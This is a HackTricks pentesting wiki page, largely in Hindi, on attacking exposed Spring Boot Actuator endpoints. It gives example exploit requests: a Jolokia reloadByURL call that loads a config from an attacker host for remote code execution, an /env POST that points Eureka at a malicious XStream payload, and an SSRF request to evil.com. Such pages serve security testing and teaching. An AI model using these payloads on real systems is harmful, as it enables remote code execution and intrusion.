Spring Actuators

Reading time: 4 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Spring Auth Bypass

From https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png

Exploiting Spring Boot Actuators

Check the original post from [https://www.veracode.com/blog/research/exploiting-spring-boot-actuators]

Key Points:

  • Spring Boot Actuators ऐसे एंडपॉइंट्स रजिस्टर करते हैं जैसे कि /health, /trace, /beans, /env, आदि। संस्करण 1 से 1.4 में, ये एंडपॉइंट्स बिना प्रमाणीकरण के उपलब्ध हैं। संस्करण 1.5 से आगे, केवल /health और /info डिफ़ॉल्ट रूप से गैर-संवेदनशील हैं, लेकिन डेवलपर्स अक्सर इस सुरक्षा को बंद कर देते हैं।
  • कुछ Actuator एंडपॉइंट्स संवेदनशील डेटा को उजागर कर सकते हैं या हानिकारक क्रियाओं की अनुमति दे सकते हैं:
  • /dump, /trace, /logfile, /shutdown, /mappings, /env, /actuator/env, /restart, और /heapdump
  • Spring Boot 1.x में, एक्ट्यूएटर्स को रूट URL के तहत रजिस्टर किया जाता है, जबकि 2.x में, ये /actuator/ बेस पथ के तहत होते हैं।

Exploitation Techniques:

  1. Remote Code Execution via '/jolokia':
  • /jolokia एक्ट्यूएटर एंडपॉइंट Jolokia लाइब्रेरी को उजागर करता है, जो MBeans तक HTTP पहुंच की अनुमति देता है।
  • reloadByURL क्रिया का उपयोग लॉगिंग कॉन्फ़िगरेशन को एक बाहरी URL से फिर से लोड करने के लिए किया जा सकता है, जो अंधे XXE या कस्टम XML कॉन्फ़िगरेशन के माध्यम से रिमोट कोड निष्पादन की ओर ले जा सकता है।
  • उदाहरण एक्सप्लॉइट URL: http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml
  1. Config Modification via '/env':
  • यदि Spring Cloud Libraries मौजूद हैं, तो /env एंडपॉइंट पर्यावरणीय गुणों को संशोधित करने की अनुमति देता है।
  • गुणों का उपयोग कमजोरियों का लाभ उठाने के लिए किया जा सकता है, जैसे कि Eureka serviceURL में XStream deserialization की कमजोरी।
  • उदाहरण एक्सप्लॉइट POST अनुरोध:
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65

eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
  1. Other Useful Settings:
  • गुण जैसे spring.datasource.tomcat.validationQuery, spring.datasource.tomcat.url, और spring.datasource.tomcat.max-active को SQL इंजेक्शन या डेटाबेस कनेक्शन स्ट्रिंग्स को बदलने जैसे विभिन्न एक्सप्लॉइट्स के लिए संशोधित किया जा सकता है।

Additional Information:

  • डिफ़ॉल्ट एक्ट्यूएटर्स की एक व्यापक सूची यहां पाई जा सकती है।
  • Spring Boot 2.x में /env एंडपॉइंट गुण संशोधन के लिए JSON प्रारूप का उपयोग करता है, लेकिन सामान्य अवधारणा समान रहती है।
  1. Env + H2 RCE:
  • /env एंडपॉइंट और H2 डेटाबेस के संयोजन का लाभ उठाने के विवरण यहां पाया जा सकता है।
  1. SSRF on Spring Boot Through Incorrect Pathname Interpretation:
  • HTTP पथ नामों में मैट्रिक्स पैरामीटर (;) के हैंडलिंग के लिए Spring फ्रेमवर्क का उपयोग सर्वर-साइड अनुरोध धोखाधड़ी (SSRF) के लिए किया जा सकता है।
  • उदाहरण एक्सप्लॉइट अनुरोध:
http
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें